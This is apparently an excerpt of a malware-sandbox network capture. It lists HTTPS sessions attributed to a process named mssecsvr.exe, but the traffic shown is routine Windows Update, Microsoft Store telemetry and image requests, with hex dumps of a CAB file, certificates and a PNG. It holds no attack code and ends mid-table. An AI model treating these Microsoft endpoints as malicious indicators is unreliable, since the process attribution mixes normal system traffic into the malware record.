2022-07-20 04:07:46 UTC	6681	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=1+aFtxXWNFcUOxL&MD=92Yr2Nl7 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 04:07:46 UTC	6682	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 MS-CorrelationId: 722f0e0b-9436-4853-a7d1-d95abbd6e266 MS-RequestId: 81fad959-a0f2-458f-82cb-936a688a26f6 MS-CV: dH+4EE5r2EG+pxq1.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 04:07:46 GMT Connection: close Content-Length: 35877
2022-07-20 04:07:46 UTC	6682	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 04:07:46 UTC	6698	IN	Data Raw: 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 5b e7 50 31 07 a1 48 30 3e 6a a4 f0 c4 72 3c 54 96 f6 da df d2 d3 50 d2 84 7b 97 ec 78 f9 43 53 fd e4 71 94 d6 61 5f 1a b6 d2 ca cf 27 33 68 64 df 14 e1 50 66 07 d7 7e 96 93 5f 64 a6 a8 6b ed 53 9c 38 61 a0 4a c0 c3 f6 42 3e ba 0e e9 8f ca a4 d9 37 47 6f e1 9f d2 fc 8f da e3 3f 6a 8f ff a8 3d fe a3 f6 f8 8f da e3 Data Ascii: AI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF[P1H0>jr<TP{xCSqa_'3hdPf~_dkS8aJB>7Go?j=
2022-07-20 04:07:46 UTC	6714	IN	Data Raw: 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 82 02 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 02 0f 00 30 82 02 0a 02 82 Data Ascii: oft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100"0*H0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.6	52551	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:46 UTC	6681	OUT	GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=34237ec479dd444aaa66f5ce4f9e757c&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=e1b72f61ecf5467db221cff271cebea5&time=20220720T130638Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 04:07:46 UTC	6717	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 3e9bb137-3f7d-4cc7-a810-0a9952dc246e Date: Wed, 20 Jul 2022 04:07:46 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.6	52600	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:46 UTC	6717	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=34237ec479dd444aaa66f5ce4f9e757c&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGGZM6WM&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=e1b72f61ecf5467db221cff271cebea5&time=20220720T130639Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 04:07:47 UTC	6718	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 674860db-06e0-46c8-a621-ab63a04726e6 Date: Wed, 20 Jul 2022 04:07:46 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.6	52601	52.242.101.226	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:47 UTC	6718	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=1+aFtxXWNFcUOxL&MD=92Yr2Nl7 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 04:07:47 UTC	6719	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 87247a70-92ee-4109-8188-8e849dcb81d2 MS-RequestId: 8a8d2906-67d0-4c05-9a21-d62e49420488 MS-CV: BRKmlMP5z0qVPZ6W.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 04:07:46 GMT Connection: close Content-Length: 35877
2022-07-20 04:07:47 UTC	6719	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 04:07:47 UTC	6735	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 04:07:47 UTC	6751	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.6	52603	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:47 UTC	6718	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=34237ec479dd444aaa66f5ce4f9e757c&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=e1b72f61ecf5467db221cff271cebea5&time=20220720T130645Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 04:07:47 UTC	6754	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: a9f762f7-25fb-4849-ace0-6648ed2481e6 Date: Wed, 20 Jul 2022 04:07:46 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.6	49729	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:05:49 UTC	83	OUT	GET /image/apps.20893.13571498826857201.00a9d390-581f-492c-b148-b2ce81649480.acc28f88-50de-4aaf-abfc-ad1da8b04cd0?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 04:05:49 UTC	84	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 2626 Content-Type: image/png Last-Modified: Mon, 30 Aug 2021 15:07:35 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDk2QkM3RTY2MTJGOUU" MS-CV: 43KkWTor8EuznZWC.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 04:05:49 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 04:05:49 UTC	84	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 03 00 00 00 4e a3 7e 47 00 00 02 d3 50 4c 54 45 1d b9 54 23 ba 58 35 c0 66 48 c6 74 54 ca 7e 5f cd 86 6a d1 8f 70 d2 93 73 d3 95 77 d5 98 75 d4 97 72 d3 94 6e d2 91 66 cf 8b 5b cc 82 50 c8 7a 41 c4 6f 2f be 62 1e b9 55 39 c1 69 6d d1 91 99 df b1 c1 ec d0 e9 f8 ee ff ff ff fb fd fc db f4 e4 b2 e7 c5 8a da a6 5a cb 82 28 bc 5c af e6 c2 e7 f7 ed fd fe fd d4 f1 de 97 de b0 56 ca 7f 22 ba 58 33 bf 64 7d d6 9d c9 ee d6 fe fe fe f3 fb f6 ae e6 c1 61 ce 87 20 ba 56 63 ce 89 bd ea cd ef fa f2 9c e0 b4 43 c4 70 2b bd 5e 86 d9 a3 e7 f7 ec c7 ed d4 60 cd 86 2d be 60 96 de af f4 fb f6 6b d1 8f 27 bc 5c 90 dc ab d8 f3 e2 63 ce 88 e8 f8 ee c4 ec d2 44 c5 72 42 c4 70 cc ef d8 fc fe fc 98 df b1 25 Data Ascii: PNGIHDR,,N~GPLTET#X5fHtT~_jpswurnf[PzAo/bU9imZ(\V"X3d}a VcCp+^`-`k'\cDrBp%

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.6	52607	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:47 UTC	6755	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=34237ec479dd444aaa66f5ce4f9e757c&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NH2GPH4JZS4&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e1b72f61ecf5467db221cff271cebea5&time=20220720T130647Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 04:07:47 UTC	6755	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 46eefa87-1e92-40fe-b11e-a192222e2bc7 Date: Wed, 20 Jul 2022 04:07:47 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.6	52611	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:47 UTC	6755	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=34237ec479dd444aaa66f5ce4f9e757c&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH6J6VK&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=e1b72f61ecf5467db221cff271cebea5&time=20220720T130648Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 04:07:48 UTC	6756	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 856826d5-4446-41bd-a9d7-b8b463850b94 Date: Wed, 20 Jul 2022 04:07:47 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.6	52661	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:48 UTC	6756	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=34237ec479dd444aaa66f5ce4f9e757c&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9P6RC76MSMMJ&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e1b72f61ecf5467db221cff271cebea5&time=20220720T130649Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 04:07:48 UTC	6757	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: e2007e5b-2197-499c-a146-b99ebb649035 Date: Wed, 20 Jul 2022 04:07:47 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.6	52662	20.54.89.106	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:48 UTC	6757	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=1+aFtxXWNFcUOxL&MD=92Yr2Nl7 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 04:07:48 UTC	6757	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: ba319cbf-8a77-4287-b1ad-8d7169963bda MS-RequestId: f2ddfd5d-84f4-4bc8-a3cb-e99350cca86d MS-CV: 6hP2j69L00Ci2jAJ.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 04:07:48 GMT Connection: close Content-Length: 35877
2022-07-20 04:07:48 UTC	6758	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 04:07:48 UTC	6773	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 04:07:48 UTC	6789	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.6	52666	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:48 UTC	6793	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=34237ec479dd444aaa66f5ce4f9e757c&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ27N&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e1b72f61ecf5467db221cff271cebea5&time=20220720T130652Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 04:07:48 UTC	6793	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: a9f0514a-ae52-4456-ad41-45006ea33b71 Date: Wed, 20 Jul 2022 04:07:48 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.6	52670	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:48 UTC	6794	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=34237ec479dd444aaa66f5ce4f9e757c&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9N0866FS04W8&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e1b72f61ecf5467db221cff271cebea5&time=20220720T130654Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 04:07:48 UTC	6794	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: ce6ef134-48eb-4617-adae-a729aab03d00 Date: Wed, 20 Jul 2022 04:07:48 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.6	52681	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:49 UTC	6794	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=34237ec479dd444aaa66f5ce4f9e757c&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ10M&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e1b72f61ecf5467db221cff271cebea5&time=20220720T130655Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 04:07:49 UTC	6795	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 5d6c32c0-b028-4121-a5d2-722f8164072a Date: Wed, 20 Jul 2022 04:07:48 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
